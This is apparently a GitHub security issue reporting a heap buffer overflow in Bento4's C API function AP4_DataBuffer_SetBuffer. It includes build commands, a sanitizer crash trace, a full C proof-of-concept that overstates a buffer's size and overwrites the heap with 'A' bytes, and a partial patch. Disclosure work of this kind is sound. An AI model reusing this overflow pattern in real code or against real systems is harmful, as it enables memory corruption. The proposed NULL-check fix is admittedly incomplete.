Skip to content

Navigation Menu

Sign in
Appearance settings

Search code, repositories, users, issues, pull requests...

Provide feedback

We read every piece of feedback, and take your input very seriously.

Saved searches

Use saved searches to filter your results more quickly

Appearance settings

oob-write: Heap corruption in AP4_DataBuffer_SetBuffer via mismatched size parameter #1088

Copy link
Copy link

Description

@sgzeng
Issue body actions

1. Title

[Security] oob-write: Heap buffer overflow in AP4_DataBuffer_SetBuffer — attacker-controlled size allows SetData to write past the real buffer end

2. Severity

High — CWE-122 (Heap-based Buffer Overflow), CWE-680 (Integer Overflow to Buffer Overflow), CWE-119 (Improper Restriction of Operations within Memory Bounds)

3. Source identifier

git commit b8c50a0

4. Affected component

Source/C++/CApi/Bento4C.cpp:358-361 in function AP4_DataBuffer_SetBuffer; overflow materialises in Source/C++/Core/Ap4DataBuffer.cpp:174 (AP4_CopyMemory)

5. Commit that introduced the vulnerability

f2331c6 — "renaming files as agreed with Gilles Bento4 -> Bento4C"

6. Analysis / Description

AP4_DataBuffer_SetBuffer(db, buffer, size) accepts a raw pointer and a caller-claimed capacity without validating that size reflects the actual allocation size of buffer. Internally it calls AP4_DataBuffer::SetBuffer(), which sets m_BufferIsLocal = false, m_Buffer = buffer, and m_BufferSize = size. No verification is performed.

A subsequent call to AP4_DataBuffer_SetData(db, data, write_size) with write_size ≤ m_BufferSize (the claimed capacity) succeeds the check on line 166 (if (size > m_BufferSize)) and proceeds to AP4_CopyMemory(m_Buffer, data, write_size). When write_size exceeds the actual allocation size of buffer, this is a heap buffer overflow — AP4_CopyMemory writes beyond the real heap allocation, corrupting adjacent heap metadata or attacker-controlled data.

Confirmed with UBSAN: the overflow corrupts the AP4_DataBuffer vtable, triggering a "member access within address which does not point to an object" error during the post-write m_DataSize = size member update. An attacker who controls both the small buffer pointer and the large claimed size can use this primitive for arbitrary heap corruption.

7. Reproducible testcase

Build a UBSAN-instrumented libap4.a and link it against the driver in section 9:

mkdir -p cmakebuild-ubsan && cd cmakebuild-ubsan
cmake .. -DCMAKE_BUILD_TYPE=Debug \
  -DCMAKE_CXX_FLAGS="-fsanitize=undefined -fno-omit-frame-pointer -g -O1" \
  -DCMAKE_C_FLAGS="-fsanitize=undefined -fno-omit-frame-pointer -g -O1" \
  -DCMAKE_EXE_LINKER_FLAGS="-fsanitize=undefined"
make -j$(nproc) ap4
cd ..

clang -g -fsanitize=undefined -fno-omit-frame-pointer \
  -ISource/C++/CApi \
  poc_sf119_driver.c \
  cmakebuild-ubsan/libap4.a \
  -lstdc++ -o poc_sf119_ubsan

UBSAN_OPTIONS=print_stacktrace=1 ./poc_sf119_ubsan

8. Crash stack trace

Source/C++/Core/Ap4List.h:476:9: runtime error: member call on address 0x0001041e5c20 which does not point to an object of type 'AP4_AtomFactory::TypeHandler'
0x0001041e5c20: note: object has invalid vptr
 41 41 41 41  41 41 41 41 41 41 41 41  41 41 41 41 ...
              ^~~~~~~~~~~~~~~~~~~~~~~
              invalid vptr
UndefinedBehaviorSanitizer:DEADLYSIGNAL
UndefinedBehaviorSanitizer: nested bug in the same thread, aborting.
exit=1

The 0x41 bytes (ASCII 'A') from the payload visible in the corrupted region confirm the overflow wrote into adjacent heap objects.

9. Input generation script

No binary file is needed — this is a direct C API misuse. poc_sf119_driver.c (full source, compiled and run as shown in section 7):

/*
 * PoC for SF119: Heap buffer overflow in AP4_DataBuffer_SetBuffer
 * via mismatched size parameter
 *
 * AP4_DataBuffer_SetBuffer() accepts a buffer pointer and a claimed size
 * without validation. Supplying a small heap buffer with a large claimed
 * size causes subsequent SetData() to perform an out-of-bounds write onto
 * the small heap allocation.
 *
 * Expected outcome with ASAN: heap-buffer-overflow on write
 */
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include "Bento4C.h"

int main(void) {
    /* Allocate a small real heap buffer (8 bytes) */
    unsigned char *small_buf = (unsigned char *)malloc(8);
    if (!small_buf) {
        fprintf(stderr, "malloc failed\n");
        return 1;
    }
    memset(small_buf, 0, 8);

    /* Create a DataBuffer object */
    AP4_DataBuffer *db = AP4_DataBuffer_Create(0);
    if (!db) {
        fprintf(stderr, "AP4_DataBuffer_Create failed\n");
        free(small_buf);
        return 1;
    }

    /*
     * Vulnerability: tell the DataBuffer that our 8-byte heap buffer
     * has 0xFFFF (65535) bytes of capacity. No validation is performed;
     * the object blindly stores the pointer and the claimed size.
     */
    AP4_Result r = AP4_DataBuffer_SetBuffer(db, small_buf, 0xFFFF);
    printf("SetBuffer result: %d\n", (int)r);

    /*
     * Trigger: write 1024 bytes of data.
     * SetData checks (1024 > 0xFFFF) == false, so it skips reallocation
     * and falls through to AP4_CopyMemory(m_Buffer, data, 1024), writing
     * 1024 bytes into the 8-byte heap allocation -> heap-buffer-overflow.
     */
    unsigned char payload[1024];
    memset(payload, 'A', sizeof(payload));
    r = AP4_DataBuffer_SetData(db, payload, sizeof(payload));
    printf("SetData result: %d\n", (int)r);

    AP4_DataBuffer_Destroy(db);
    free(small_buf);
    return 0;
}

10. Proposed fix

The minimal fix in Bento4C.cpp adds a NULL-pointer guard. However, the architectural fix is to remove the ability for callers to lie about buffer sizes: either (a) remove AP4_DataBuffer_SetBuffer from the public C API, or (b) track the real allocation size separately from the claimed size and enforce it in SetData.

--- a/Source/C++/CApi/Bento4C.cpp
+++ b/Source/C++/CApi/Bento4C.cpp
@@ -355,9 +355,11 @@
 /*----------------------------------------------------------------------
 |   AP4_DataBuffer implementation
 +---------------------------------------------------------------------*/
-AP4_Result 
+AP4_Result
 AP4_DataBuffer_SetBuffer(AP4_DataBuffer* self, AP4_Byte* buffer, AP4_Size size)
 {
+    /* size must reflect the actual allocation size of buffer to prevent overflow */
+    if (buffer == NULL && size != 0) return AP4_ERROR_INVALID_PARAMETERS;
     return self->SetBuffer(buffer, size);
 }
 
Reactions are currently unavailable

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Type

    No type

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions

    Morty Proxy This is a proxified and sanitized view of the page, visit original site.